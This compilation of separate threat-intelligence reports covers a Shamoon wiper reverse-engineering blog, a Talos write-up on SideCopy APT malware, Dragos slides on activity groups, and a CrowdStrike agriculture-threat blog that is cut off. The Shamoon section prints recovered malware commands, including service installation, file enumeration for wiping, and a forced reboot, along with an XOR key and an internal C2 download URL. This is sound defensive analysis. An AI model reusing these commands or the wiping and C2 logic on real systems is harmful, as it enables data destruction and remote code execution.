During my research process I discovered 4 unique samples relating to this campaign. The samples and all my public work is shared in a GitHub repo here:
- B14299FD4D1CBFB4CC7486D978398214
- B128376F2D45CFDF21035D3029EF0D6C
- ECC2CB6ADC0F0390ADFA9936D149657B
- D214C717A357FE3A455610B197C390AA
For this post I will solely be talking about B128376F2D45CFDF21035D3029EF0D6C. I always start my analysis process with static properties as those can give some a high level overview of what the sample might be able to do. For this, I generally use PE Studio. Looking in PE Studio we see the following information:
Immediately the entropy of the file stands out indicating some sort of encryption or packed data. Under the resources tab we see the 3 resources along with some version information.
We can see 3 resources named PKCS12, PKCS7, and X509. The high entropy and percentage of file immediately stand out as a potential payload or some form of encrypted data. This is unusual for standard files executables as resources are generally used for icons or small images rather than data blobs with high entropy. When I see resources I will generally save them off for later analysis with Resource Hacker. Although these resources do contain relatively high entropy values, they aren't 7.99 or above the 7.9 threshold, which means if they are encrypted it's through some rudimentary techniques rather than a well-established technique like AES or RC4.
The next thing I look at is the strings. Strings can give information about actions the malware might take or if you're lucky, even a C2 string or raw IOCs. Immediately we see a string that we can use as an IOC due to its hardcoded name and the fact that the file name will most likely be unique across hosts.
Scrolling down we see a couple more strings that can prove valuable in understanding the behavior of this malware. We can see strings pointing to hardcoded file locations, potential command line execution, hardcoded domains, etc. Considering the magnitude and impact that this attack had, I was somewhat surprised to see such low effort taken to obfuscate their work.
Next, I found a copyright string for the company Dinkumware. This is a hardcoded string found in a replacement for the C++ standard library which offers some extra features. Malware authors use libraries from Dinkumware to simplify the difficulty of the code they have to write. The libraries they provide offer APIs to work with vectors, lists, sets, maps, bitsets, and generic algorithms.
At the end of the list of strings found were the names of the resources mentioned earlier, X509, PKCS7, and PKCS12. This supports the hypothesis that Shamoon will interact with those resources during runtime. A large string pictured below stood out to me as there shouldn't be any reason for malware to require strings of this length. This string turned out to be a description of a service Shamoon will create.
Now that we have finished all the triage for the sample, we can get into the assembly. Following is a list of IOCs we can utilize for future samples:
- \inf\netft429.pnf
- myimage12767
- c:\windows\temp\out17626867.txt
- \\System32\\cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config TrkSvr binpath=system32\\trksrv.exe && ping -n 10 127.0.0.1 >nul && sc start TrkSvr"
Considering the high entropy of the resources and the size of them I started looking for references to those resource names as they're most likely going to be used in Windows API calls to interact with them further.
For my analysis of assembly I use IDA Pro but any disassembler will do. Each resource name string turns out to only have a single reference which is always an argument to this function sub_401977. Viewing the function shows the following:
At a high level, we can assume the following actions based on the Windows API calls:
1. Find a resource
2. Load the resource
3. Lock the resource
4. Create a file
5. Write to the file
After this we can see that it's going to allocate a buffer of size var_8, which gets set when the value of EAX is moved after the SizeOfResource call.
If the buffer is successfully allocated it enters the loop loc_401A6F which implements the following pseudo code:
```c
while i = 0; i < sizeOfResource; i++ {
buf[i] = resource[i] ^ key[i % len(key)];
}
```
This is a very common form of encryption for malware as it's simple, and highly optimized at the hardware level. XOR is built in instruction for the x86 assembly set, so it's something that can be calculated on the CPU itself. Single and double byte XOR keys generally aren't going to thwart AV engines but later versions of Shamoon use extremely large XOR keys for resource decryption.
Since we have now recognized this as an XOR decryption loop we need to find the key. Generally keys are passed as arguments if they are created during runtime or they are referenced by static constants. There are no references to static constants in this function so taking a look at the arguments we see the following buffer being passed.
Looking at the function call, we can see 6 arguments being passed:
1. an integer
2. a constant
3. a resource name
4. an ordinal value for the resource
5. a buffer
6. a filename that is generated in this current function
Looking at the constant that is being passed we see the following, as I was analyzing this stood out to me immediately and I tested it as a decryption key. This turned out to be correct so I knew the signature for the ResourceDecryption function was the following:
```c
ResourceDecryption(sizeOfKey int, resourceOrdinal int, resourceName string, fileBuf byte[], outputFilename string)
```
Some malware analysts will take this knowledge and create a script to dump the resources so the payload can be analyzed. While this is a valid decision, there is still information that we can pull out from the sample.
At this point it's important to figure out how the function gets called and what path needs to be taken from the entry point to get this file dumped. Opening the function at sub_401977 and hitting the button "xrefs to current identifier" shows a view of function calls that are taken to reach the DecryptResource function. This aligns with the 3 calls to DecryptResource as there are 3 resources contained within Shamoon.
Now with all these functions being named, we have a clear picture of how these resources are executed. The x509 resource is used as a newly created service, PKCS12 is executed as a randomly named file, and PKCS7 is started with a CreateProcessW after it's written to disk.
### Shamoon Payload PKCS7
The first payload we will look at is the decrypted PKCS7 resource. First thing is to look at static properties. Unsurprisingly has a ton of hits on VirusTotal, has a file description of TCP/IP NetBios Information, 2 resources that don't mean much and the following interesting strings.
Just judging from the strings, it's probably going to connect to a host, interact with those hard coded file paths, delete some files and we also see the Dinkumware copyright string we saw in the initial look at the Shamoon sample.
Looking at the sample, the function we care about is main which is sub_402B90 or as I've renamed it MalwareMain.
The first thing this payload does is call sub_4020F0 or as I've renamed it GetIPAddress. This function will set WideIPAddressString to 0 if the result of GetIPAddress is 0. Otherwise it will set the value of the pointer to WideIPAddressString in the function. It then will get the Windows directory in ASCII and in wide, then will check argv[1] to see what the value is. The two arguments that are processed for the payload are the ASCII "0" and "1".
If you pass a 0 as the first argument to the payload, it will do a subsequent check to see if there is a 2nd argument. If there is a second argument it will pass that to sub_402240, otherwise it will pass 0 to sub_402240. After sub_402240 is called the program will exit.
So to summarize, what we've seen so far:
- pkcs7.exe 0 1 will pass 1 to sub_402240
- pkcs7.exe 0 will pass 1 to sub_402240
Now looking into sub_402240, the first thing it will do is create an internet handle that it will use for further WinINet functions.
The first argument to InternetOpenW is the purpose of the handle or user-agent, and interestingly it sets this value to "you". As soon as the InternetOpenW call is made, there is a loop that begins.
This loop will iterate twice, once with the string "home" and once with the hardcoded IP "10.1.252.19". So this loop will get the tick count, pass arguments to the format string http://%s%s?%s=%s&%s=%s&state=%d and make a call to InternetOpenW then delete the buffer containing the built out format string. So our possibilities for this loop are:
- http://10.1.252.19/ajax_modal/modal/data.asp?mydata=<argToFunction>&uid=<IPAddressAcquiredInMalwareMain>&state=CurrentMilliseconds
- http://home/ajax_modal/modal/data.asp?mydata=<argToFunction>&uid=<IPAddressAcquiredInMalwareMain>&state=CurrentMilliseconds
Looking at the IP address, it falls within private IP space so it's communicating with a server that is hosted within Saudi Aramco's environment. In the second iteration it tries to communicate with a host "home" so either this is an internal hostname set by Saudi Aramco or some host entry set per host where home=10.1.252.19. The use of a hardcoded private IP for its C2 indicates that the Cutting Sword of Justice had access to Saudi Aramco's environment before creating and deploying Shamoon.
Once it gets a handle to the C2, a call to InternetReadFile is made and the read buffer is stored and used to determine what actions should be taken next. There are 2 cases that can be taken:
- **Response T**: Create a file at \inf\netft429.pnf and write a new detonation time to be used by the other modules
- **Response E**: Receive a base64 encoded buffer, attempt to drop it at the following location %WINDIR%\Temp\filer.exe and execute it
Going down the E path there a Sprintf call is used to generate a file path to drop the decoded base64 file. If you look closely you will see that it's using %S in the format string which in some reports has stated to be invalid and a bug on the actors part. This is actually incorrect, in the context of Windows, this will write a wide character string rather than an ASCII string. So this call will succeed and write a file to \\Temp\\filer and execute it.
### Shamoon Payload PKCS12
The next payload we are going to cover is the PKCS12 resource. Loading the file up into PE Studio we can see it has 2 resources being the following:
READONE stands out as it has a relatively large size and a high entropy. Loading the file into a hex editor and judging from the XOR encoding scheme used in the past, it's clear it's an encrypted PE file. Looking at the strings we can see strings that are most likely going to be passed to _system and a PDB path that shows the name Shamoon just as the initial dropper.
The beginning of the function will get the Windows directory and use the format string in the screenshot to create `<WINDOWS DIR>\\System32\\Drivers\drdisk.sys`. In case there is already a service called drdisk, it'll attempt to stop and remove it. Once the service is stopped it'll attempt to delete the driver drdisk.sys at the path created from the format string. Then a call to FindResource is made for the ReadOne resource we saw earlier in PE Studio.
If the resource was found, it will be passed to the function I've labeled DecryptAndWriteEldosDriverToDisk. Based on the result of that function, it will create and start a service or exit.
With that information I dumped the resource with Resource Hacker to decrypt the resource when we get to that point. Now we will be looking at the decryption routine. The arguments to the function are a string which is the filename for the to be created file and the resource handle from the FindResource call. With those parameters the function will load the resource and lock it so that no concurrent routines can modify it. Then get the address of the Wow64DisableWow64FsRedirection to ensure that the to be decrypted file is dropped at the same location every time.
This loop will iterate over each byte of the file XORing it with the key[index & 3] and write one byte at a time to the newly created decrypted file handle. As soon as the index is greater than 1024 it will continue to the next XOR loop. Once the initial KB has been written it then will allocate memory for the rest of the file, decrypt the rest of the file with the same scheme as the previous loop and then make a single call to WriteFile when it decrypts the entire buffer.
The encryption key is a hardcoded value and for this sample is:
```plaintext
[0x15, 0xAF, 0x52, 0xF0, 0xA0, 0xFF, 0xCA, 0x10]
```
Now with the decryption function reversed, we can look back at sub_403720. If the decryption was successful it will create the new drdisk service and start it.
The call to CheckIfItsTimeToWipe is used to check if the file "\inf\netfb318.pnf" exists and if so, it's used as a trigger to continue with wiping the system. Whether or not that call was successful or not, the following cmd statements will be executed:
```plaintext
dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i download 2>nul >f1.inf
dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i download 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i picture 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i video 2>nul >>f1.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i music 2>nul >>f1.inf
dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i desktop 2>nul >f2.inf
dir C:\Users\ /s /b /a:-D 2>nul | findstr -i desktop 2>nul >>f2.inf
dir C:\Windows\System32\Drivers /s /b /a:-D 2>nul >>f2.inf
dir C:\Windows\System32\Config /s /b /a:-D 2>nul | findstr -v -i systemprofile 2>nul >>f2.inf
dir f1.inf /s /b 2>nul >>f1.inf
dir f2.inf /s /b 2>nul >>f1.inf
```
These commands will grab filenames in those directories with various recursion depths. Once those commands have been executed, there are 2 major if statements that each call the same function with an argument of the f1.inf or f2.inf. This function is used to check if the file exists and check permissions as well. If the file exists and is able to be read, then each file path contained within f1.inf and f2.inf will be copied to a buffer and corrupted by a following routine.
Immediately after the payload has successfully read and processed f2.inf, it will load a hardcoded buffer into memory. This will create an empty buffer of length 196608 bytes and copy the hardcoded buffer I renamed DumpedPicture with a length of 1024 into the new buffer.
For those that don't know, the file header for a JPEG JFIF format is FF D8 FF E0 00 10 4A 46 49 46 00 01. Opening the extracted 1024 bytes of the JPEG we can see the following. Since its only a partial image we can find the original with a reverse image search.
If you have taken a look yourself at _wmain you will see that its quite large and contains a lot of functionality that really should be separated out. For that reason I decided to create a diagram of the relevant actions that occur within this payload.
The next piece we care about is the system information that needs to be acquired for the payload to successfully corrupt drives. This payload will query the registry with the following keys, getting the disk layout for the machine it's on.
| Registry Key | Size | Value |
|--------------|------|-------|
| SYSTEM\\CurrentControlSet\\Control - FirmwareBootDevice | REG_SZ | multi(0)disk(0)rdisk(0)partition(2) |
| SYSTEM\\CurrentControlSet\\Control - SystemBootDevice | REG_SZ | multi(0)disk(0)rdisk(0)partition(4) |
With this information the payload will iterate over the partitions and rdisk values and add them to an array so for my system that would result in the following array:
- \\Device\\Harddisk0
- \\Device\\Harddisk1
- \\Device\\Harddisk2
Then once those devices are appended in an array we have a call to a function I have renamed SetSystemTimeChangeNameOfPartitionAndGetHandleToPartition. The function is pretty short as it's basically just a wrapper for the code that actually gets the wiper handle.
Interestingly, it will set the system time before it returns a handle to a device. It sets the year and month to August 2012. It will pick a random value for the day and do a modulus 20 on it and add 1. So the day will be some value between 1 and 20. This information doesn't seem to hold much value but there is a call to ChangeNameOfPartitionAndGetHandleToPartition.
Without going into detail for this function as it's relatively straightforward, the first string is a filepath that is appended to "\\?\ElRawDisk". The only way this function executes properly is if that value starts with the characters "\\". The second argument is an access level and for this call is a generic read & write. The 3rd string passed is a license key that is required for the wiper to run.
Once this function returns the handle to the specific partition with the license key appended to it we are back to looking at _wmain. The block before this gets the handle to the partition, which is held in ESI. It will write the picture buffer to the file and create a thread with the function sub_402F40. This function is arguably the most delicate code of the sample as it deals with overwriting portions of the disk partitions that we had seen earlier.
Generally I am not a fan of relying on the decompiled code as a lot can be missed but considering all the nested loops and byte manipulation I felt that this was a better way to display the control flow. As you can see this function is pretty complicated but I've done my best to rename the variables to informative names. The most important piece of this pseudo C is the section responsible for writing the picture buffer to the path passed within this function.
So it's clear that the purpose of this function is to take in a path, and start writing the image buffer to file at that path. With that I renamed Sub_402F40 to WriteImageBufToPathThread. Now that we have looked at the thread function, we have analyzed all the pieces required for the loop we were just looking at in _wmain.
This loop iterates over all of the partitions gathered from the registry and will write the picture buffer to random sections in each of the partitions. So while the functions we looked at were complex, looking at the high level picture really sheds a light as to what the sample attempts to do.
Once we enter this function, we can see a call to CorruptPartition0AndRestartMachine with the argument \\Device\\Harddisk0\\Partition0. If you were to look at the threads that were just generated in a debugger you can see that it won't start a thread for corrupting Harddisk0\\Partition0, this is due to the fact that partition0 is a special case and points to the entire contents of Harddisk0. Where Harddisk0 is generally where the OS is installed and has to be corrupted last.
Once the handle to Partition0 is acquired it writes the picture buffer to the beginning of the partition and promptly closes the handle to it continuing onward. Soon after the function will acquire a file handle for the string global variable dword_428D2C. Generally the function used to get a file handle is OpenFile but CreateFile can also be used to get the handle to the file passed.
If the initial CreateFile call fails, it will append a string to dword_428D2C and attempt to get the file handle again. If the handle is valid, we see a call again to SetFilePointerAndWritePicture with the newly acquired file handle.
Once the picture buffer is written to the file handle the function checks the length of the DeviceHardDisk string. While string length is its own function in C wcslen, generally that function is inlined to others as its relatively small and removes the need to set up the function call for wcslen.
The snippet above calculates string length and checks whether the length of that DeviceHardDiskString is greater than 1. Assuming that the string is valid and contains the information expected, then a conditional is evaluated to check whether DeviceHardDiskString and DeviceStringCopy are the same value.
Just as wcslen is inlined when the program is compiled so is wcscmp. This section loads the two strings and checks whether they are the same values. If they are the same values, then we get into the critical portion of this function.
So at this point, if the length of DeviceHardDiskString is greater than 1, and it is the same as DeviceStringCopy, then we get into the assembly blocks. The filepath being passed is the DeviceHardDiskString. The file at this path will have the EldoS key license appended to the filename after a "#" and the handle will be returned. The file handle that is returned is then passed to SetFilePointerAndWritePicture where the raw hard disk device will have the picture buffer written to it at the beginning of the raw device.
With the valid handle, the picture buffer is written to the device. If the handle is still valid, it will pass the handle to DeviceIoControl. DeviceIoControl as described by MS does the following:
> Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation.
With some quick googling, the control code that is sent is used to gather information about the drive. A check is then done to make sure that the result is valid and if it has a length of 144 or more.
If that check is successful, there is a final call to SetFilePointerAndWritePictureBuffer. This call takes in the handle of the same drive that was passed to DeviceIoControl. In this case that would be the Harddisk0\\Partition0. This makes sense as it's the most critical portion of the system due to it containing the operating system and boot information. These effects won't have any effect as a lot of the required pieces for Windows to run properly are held in memory while these overwrites are made to the hard disk. So this will require a full reboot for the corruption to take effect. As expected that call is made directly after the overwrite with a _system call to:
```plaintext
shutdown -r -f -t 2
```
For a breakdown of the command, the -r signifies the machine to restart, the -f forces applications to close without warning users, and the -t sets the time-out period to 2 seconds before the restart starts.
At this point Shamoon has gone through its entire infection chain and has successfully corrupted all the partitions and restarted the computer leaving the machine inoperable.
### Shamoon Payload x509 Analysis
Now if you've been paying attention you might have realized that I haven't touched on the x509 resource. This is due to the fact that the x509 resource is a product of the same exact code, just compiled for a 64-bit architecture. So the 64-bit version only has 2 resources. 1 being the communications module and another being the actual wiper that contains the EldoS driver and corruption mechanism. Pictures of PE studio output can be found below but I feel that it is out of scope to dive deep into the 64-bit module as it shares almost exactly the same behavior as the 32-bit client.
## Conclusion
I hope this overview was able to help teach some about the history of the first Shamoon campaign the world has seen. This has been a work in progress for almost 6 months now and I've met a ton of great people. If there are any questions or mistakes feel free to reach out. I am a human as well and therefore make tons of mistakes just like the rest of the world. Any feedback about the content, length of post, or format of the post would also be greatly appreciated. I think going forward I will try to keep them a tad shorter and more frequent. If there is interest I will continue going over the next Shamoon campaigns as there are significant changes to how strings are obfuscated, resources encrypted, and dropping techniques. Below are a couple of high-level visuals and information that might prove useful to some.
### IOCs
| IOC Value | Rationale |
|-----------|-----------|
| 4F02A9FCD2DEB3936EDE8FF009BD08662BDB1F365C0F4A78B3757A98C2F40400 | Known 2012 sample |
| 61E8F2AF61F15288F2364939A30231B8915CDC57717179441468690AC32CED54 | Known 2012 sample |
| A37B8D77FDBD740D7D214F88521ADEC17C0D30171EC0DEE1372CB8908390C093 | Known 2012 sample |
| F9D94C5DE86AA170384F1E2E71D95EC373536899CB7985633D3ECFDB67AF0F72 | Known 2012 sample |
| http://10.1.252.19/ajax_modal/modal/data.asp?mydata=&uid=&state=CurrentMilliseconds | Hardcoded IP for internal C2 |
| http://home/ajax_modal/modal/data.asp?mydata=&uid=&state=CurrentMilliseconds | Hardcoded IP for internal C2 |
| %windir%\inf\netft429.pnf | Hardcoded file path for new detonation date |
| %windir%\inf\netfb318.pnf | Hardcoded file path for wiping completion status |
| %system32%\drivers\drdisk.sys | Hardcoded file path for the EldoS wiping driver to be written to |
| c:\windows\temp\out17626867.txt | Path contained within the Shamoon dropper |
| \\System32\\cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config TrkSvr binpath=system32\\trksrv.exe && ping -n 10 127.0.0.1 >nul && sc start TrkSvr" | Command used by Shamoon to start a service |
| trksrv.exe | x509 dropped filename |
| %WINDIR%\Temp\filer.exe | File received and executed from the internal C2 |
| f2.inf | Data gathered from PKCS12 resource |
| f1.inf | Data gathered from PKCS12 resource | |
# How this APT continues to evolve its arsenal
**BY ASHEER MALHOTRA AND JUSTIN THATTIL**
---
## Summary
- Cisco Talos is tracking an increase in the SideCopy APT's activities targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe).
- SideCopy is an APT group that mimics the Sidewinder APT’s infection chains to deliver their own set of malware.
- We’ve discovered multiple infection chains delivering bespoke and commodity remote access trojans (RATs) such as CetaRAT, Allakore, and njRAT.
- Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage of four new custom RAT families and two other commodity RATs known as “Lilith” and “Epicenter.”
- Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file enumerators to credential-stealers and keyloggers.
## What’s new?
Cisco Talos has observed an expansion in the activity of SideCopy malware campaigns, targeting entities in India. In the past, the attackers have used malicious LNK files and documents to distribute their staple C#-based RAT. We are calling this malware “CetaRAT.” SideCopy also relies heavily on the use of Allakore RAT, a publicly available Delphi-based RAT. Recent activity from the group, however, signals a boost in their development operations. Talos has discovered multiple new RAT families and plugins currently used in SideCopy infection chains.
Targeting tactics and themes observed in SideCopy campaigns indicate a high degree of similarity to the Transparent Tribe APT (aka APT36) also targeting India. These include using decoys posing as operational documents belonging to the military and think tanks and honeytrap-based infections.
## How did it work?
SideCopy’s infection chains have remained relatively consistent with minor variations — using malicious LNK files as entry points, followed by a convoluted infection chain involving multiple HTAs and loader DLLs to deliver the final payloads.
SideCopy infection chains primarily consist of archive files containing malicious LNK files delivered to the victims. The filenames are meant to social engineer the victims into opening the LNK files, in turn, infecting them with SideCopy malware. What follows is a convoluted combination of malicious HTML Application files (HTA) and .NET-based loader DLLs that instrument CetaRAT and Allakore on the endpoints.
### Early infection chain
The earliest discovered infection chain consisted of a LNK file that pulled down and executed an HTA from a remote location. The dropped DLL is side-loaded into credwiz.exe. The DLL then executes CetaRAT on the infected endpoint, thereby completing the infection chain.
### Latest CetaRAT infection chains
Beginning 2020 and into 2021, we saw the attackers improve their infection chains. These infections also begin with malicious LNK files delivered to the victims. However, what follows is a combination of three HTA files, three loader DLLs, two instances of CetaRAT in some cases, and Allakore. This indicates an effort to modularize the attack chains.
The latest infection chains have also adopted the practice of displaying a decoy document (PDF) or image to the victims.
### Stage No. 1 — LNK
The malicious LNK contains a command to run a malicious HTA file hosted on an attacker-controlled website via mshta.exe.
### Stage No. 2 — HTA
The malicious HTA file carries out the following activities:
- Creates a JavaScript file to restart the endpoint after the malicious HTA has completed the infection process.
- Load and invoke a malicious .NET-based loader DLL into memory.
### Stage No. 3 — Malicious HTA
This malicious HTA is used to deploy the malicious CetaRAT embedded in the HTA file.
### Stage No. 4 — Malicious HTA
This malicious HTA also:
- Loads another loader DLL into memory.
- Collects AV product names and passes them to the loader DLL along with the credwiz.exe binary and DUser.dll malicious DLL to be side-loaded.
### Stage No. 4A — Malicious loader DLL
This DLL is responsible for dropping DUser.dll into a variable location, depending on the presence of specific anti-virus products installed on the endpoint.
### Stage No. 4B - Allakore
Allakore RAT is a publicly available Delphi-based RAT. Its capabilities include:
- Upload and download files.
- Capture screenshots from the endpoint.
- Enumerate directories and files.
- Keylogging.
- Steal current clipboard data.
## njRAT infections
Another recently discovered infection chain used by SideCopy completely abandons CetaRAT and Allakore and uses njRAT instead. This infection chain is simpler than the ones seen previously.
## Malicious payloads
This is an overview of the different final stages of infections.
### RATs
SideCopy infections utilize a number of RATs. The RAT payloads discovered by Talos so far are:
- **CetaRAT**: SideCopy’s staple RAT first seen in the wild in 2019.
- **DetaRAT**: A previously unknown C#-based RAT that contains several RAT capabilities similar to CetaRAT.
- **ReverseRAT**: Another previously undiscovered C#-based malware that opens up a reverse shell to its C2 server.
- **MargulasRAT**: Distributed via another C#-based dropper.
- **Allakore**: A Delphi-based RAT first observed in 2015.
- **ActionRAT**: Another Delphi-based RAT used in SideCopy’s operations.
- **Lilith**: A C++-based RAT first observed in 2016.
- **EpicenterRAT**: Another commodity RAT observed in the wild since 2012.
## Plugins
In addition to full-fledged RATs, SideCopy utilizes modular plugins to carry out specific malicious tasks on the infected endpoint:
- **File manager**: A file management component that can enumerate, download, and upload files on the endpoint from/to the C2.
- **Keyloggers**: Two keyloggers used by SideCopy.
- **Browser credential stealers**: Two types of stealers used.
- **Nodachi**: A previously unknown set of plugins utilized by SideCopy.
## Tracking and delivery infrastructure
SideCopy’s delivery infrastructure consists of either setting up fake websites or using compromised websites to deliver malicious artifacts to specific victims. The delivery scripts verify that requests to receive artifacts/payloads are from two specific geographies: India and Pakistan. If this matches, then a payload or decoy is served to the requester.
## Observations and analyses
### Targeting
SideCopy uses themes predominantly designed to target military personnel in the Indian subcontinent. Many of the LNK files and decoy documents used in their attacks pose as internal, operational documents of the Indian Army.
### Credential harvesting
One of SideCopy’s central motives is credential harvesting. Specifically, the group looks to steal access credentials from central Indian government employees. The group commonly targets Kavach, an MFA app used across India’s government.
## Conclusion
What started as a simple infection vector by SideCopy to deliver a custom RAT (CetaRAT) has evolved into multiple variants of infection chains delivering several RATs. The use of these many infection techniques is an indication that the actor is aggressively working to infect their victims. This threat actor is also rapidly evolving their malware set using a combination of custom and commodity RATs and plugins. The variety of post-infection plugins specifically used by the attacker signifies a focus on espionage. Targeting tactics used by SideCopy consists of multiple themes, quite similar to those utilized by APT36: military, diplomatic, and honey traps. This indicates that the group continues to target government entities in the Indian subcontinent. |
# Threat Activity Groups
## Your Hosts
Sergio Caltagirone @cnoanalysis DiamondModel.org
Joe Slowik @jfslowik
intel@dragos.com
## Industrial Threat Activity Groups
### Is Activity Group Just a Fancy Name for Adversary?
**The Diamond Event**
Axiom 1: For every intrusion event, there exists an adversary taking a step towards an intended goal by using a capability over infrastructure against a victim to produce a result.
**Meta-Features**
- **Adversary**
- Timestamp
- Phase
- Result
- Direction
- **Capability**
- Resources
- Infrastructure
- Methodology
- <your feature here>
Each edge can carry a confidence.
**Activity Group**
An activity group is a set of Diamond events and activity threads associated by similarities in their features or processes and weighted by confidence.
**Two purposes of an activity group:**
1. Framework to answer analytic questions requiring a breadth of activity knowledge.
2. The development of mitigation strategies with an intended effect broader than activity threads.
### Activity Groups – What You Hear is Not it All
What you normally see…
Analysts traditionally form activity groups to identify a common adversary behind events and threads usually using similarities in infrastructure and capabilities.
But, that’s not all…
The concept is inherently flexible and extends to include any grouping based on similarities to address a multitude of analytic and operational needs. The desired analytic or operational outcome determines the implementation and type of correlation (i.e., grouping function) used.
And they change…
Activity groups are not static – just as adversaries are not static. Activity groups must grow and change over time to absorb new knowledge of the adversary, including changes in their needs and operations.
### Why Activity Groups? To Solve Analytic Problems
**What is the Analytic Problem**
Activity grouping is used to solve a number of problems.
- **Trending:** How has an adversary’s activity changed over time and what is the current vector to infer future change?
- **Intent Deduction:** What is the intent of the adversary?
- **Attribution Deduction:** Which events and threads are likely conducted by the same adversary?
- **Adversary Capabilities and Infrastructure:** What is the complete set of observed capabilities and infrastructure of the adversary?
- **Cross-Capability Identification:** Which capabilities have been used by multiple adversaries?
- **Adversary Campaign Knowledge Gap Identification:** What are the organization’s knowledge gaps across an adversary’s campaign?
### The Activity Group Process
1. **Analytic Problem:** The particular analytic problem to be solved through grouping.
2. **Feature Selection:** The event features and adversary processes used to form the basis of classification and clustering are selected.
3. **Creation:** Activity groups are created from the set of events and threads.
4. **Growth:** As new events flow into the model, they are classified into the Activity Groups.
5. **Analysis:** Activity groups are analyzed to address the analytic problem(s) defined.
6. **Redefinition:** Activity groups need to be redefined from time to time to maintain their accuracy.
### How to Create an Activity Group
Let me know if you’ve heard this one… Names, names everywhere! Why can’t we all just agree on one name?!
The simple answer: it’s hard enough to correlate activity consistently within a 10-person team, let alone across a variety of organizations.
The complex answer: correlation and classification is a complex analytic problem which requires us to share the same grouping function and feature vector.
**Example: 2017-Present Electric Utility Intrusions**
**Initial Analysis: Dragonfly 2.0**
**Behavioral Analysis Yields Distinctions**
- **DRAGONFLY**
- Active: 2013 - 2014
- Target Geography: Europe
- Infection Vector: Phishing w/PDF, Watering Hole, Trojanized Software
- Persistence Mechanism: KARAGANY Malware
- ICS Impact: OPC-focused Malware Family
- **DYMALLOY**
- Active: Late 2015 - ?
- Target Geography: Turkey
- Infection Vector: Phishing w/Doc
- Persistence Mechanism: Various Malware and Create User Accounts, Backdoors
- ICS Impact: Survey and Screenshots via Malware
- **ALLANITE**
- Active: Mid 2017 - ?
- Target Geography: USA, North America, Europe, UK, Germany
- Infection Vector: Phishing w/Doc, Watering Hole
- Persistence Mechanism: Credential Harvesting
- ICS Impact: Survey and Screenshots via System Tools
### Final Points
- Activity Groups are an analytic concept driven by analysis problems.
- Activity Groups have varying degrees of confidence – as the grouping gets larger, the confidence tends to weaken.
- Activity Groups are not equivalent to attribution, but they can be used that way.
- Activity Groups are useful for analysts and defenders to group similar activity together to understand broader implications and take more strategic action.
- Activity Groups use stupid names.
Thank you.
Sergio Caltagirone @cnoanalysis
Joe Slowik @jfslowik
intel@dragos.com |
# Hacking Farm to Table: Uncovering Threats to Agriculture
**Falcon OverWatch and CrowdStrike Intelligence Teams**
November 18, 2020
Life on the farm isn’t what it used to be. With overall cyberattacks on the rise, even agriculture has found itself in the crosshairs of cyber threat actors. In fact, during the last ten months alone, the CrowdStrike® Falcon OverWatch™ team has observed a tenfold increase in interactive, or hands-on-keyboard, intrusions impacting the agriculture industry. This blog is the latest installment in a series exploring the types of malicious hands-on-keyboard activity discovered in specific industries by OverWatch threat hunters, who work with organizations of all sizes – across all industries and in all timezones – to alert them to these threats. With still over a month to go in 2020, the OverWatch team is on track to record double the number of targeted and interactive eCrime intrusions uncovered in 2019. Previous blogs have focused on some of this year’s most frequently targeted industries such as healthcare and manufacturing. In contrast, this blog takes a deep dive into the agriculture sector, a less commonly impacted industry that has nonetheless experienced a dramatic acceleration of intrusion activity in 2020.
## Why Agriculture and Why Now?
The digital transformation of the agriculture sector is expanding it from the physical world into the cyber realm. While the adoption of internet of things (IoT) and smart technologies opens the door to innovation and new efficiencies, it also exposes the sector to new cyber threats. eCrime operations are perpetually looking for new victims, especially among those larger businesses perceived to have a high capacity to pay. At the other end of the spectrum, smaller agricultural companies may be seen as soft targets, particularly those in the early stages of digitizing their businesses with less mature security infrastructure and processes. In addition, state economic interests are contributing to a heightened interest in the sector, increasing the likelihood of targeted intrusion activity. To a lesser extent, opportunistic hacktivism also presents a risk. It is crucial that defenders in the agriculture sector are aware of the complex global threat landscape that exists for this industry and are familiar with real-world examples of how adversary activity could play out in their environment.
## eCrime Threat
CrowdStrike Intelligence has assessed with a high degree of confidence that eCrime activity is currently the most likely cyberthreat to the agriculture industry. This is supported by OverWatch findings — nearly 80% of interactive intrusions in the agriculture industry in 2020 were perpetrated by suspected eCrime adversaries (of those intrusions where attribution was possible). Large agriculture sector businesses may be viewed as a valuable target by eCrime adversaries. In “big game hunting” (BGH) ransomware campaigns, adversaries will adjust their ransom demands based on a company’s size and perceived capacity to pay, often resulting in ransoms in the millions of dollars. Organizations should also be aware that the use of data extortion is increasing among BGH adversaries. Adversaries use this strategy to increase the likelihood that even those companies with effective data-backup systems can be pressured to pay ransoms to protect sensitive data from being leaked. The proliferation of these data encryption and extortion activities has prompted a wide variety of government policy interventions aimed at both crime prevention and consumer protection. The onus is on organizations to not only ensure adequate security protections are in place but to also be aware of any regional regulatory obligations that relate to protection of data and dealings with criminal entities.
## Targeted Threat
The agricultural industry is at risk of economically motivated targeted intrusions seeking intellectual property or other sensitive business information. More extreme weather patterns, water scarcity, and diminishing availability of productive land have encouraged innovation in agricultural processes, tools, and crop varieties. This intellectual property is a valuable target for countries seeking to grow their agricultural outputs and boost their competitive advantage relative to regional neighbors. In particular, CrowdStrike Intelligence has highlighted Democratic People’s Republic of Korea (DPRK)-nexus and China-nexus adversaries as the leading threats. This is again consistent with OverWatch threat hunting data, which has uncovered both DPRK- and China-nexus actors involved in intrusions against the agriculture sector in 2020.
### Democratic People’s Republic of Korea (DPRK, or North Korea)
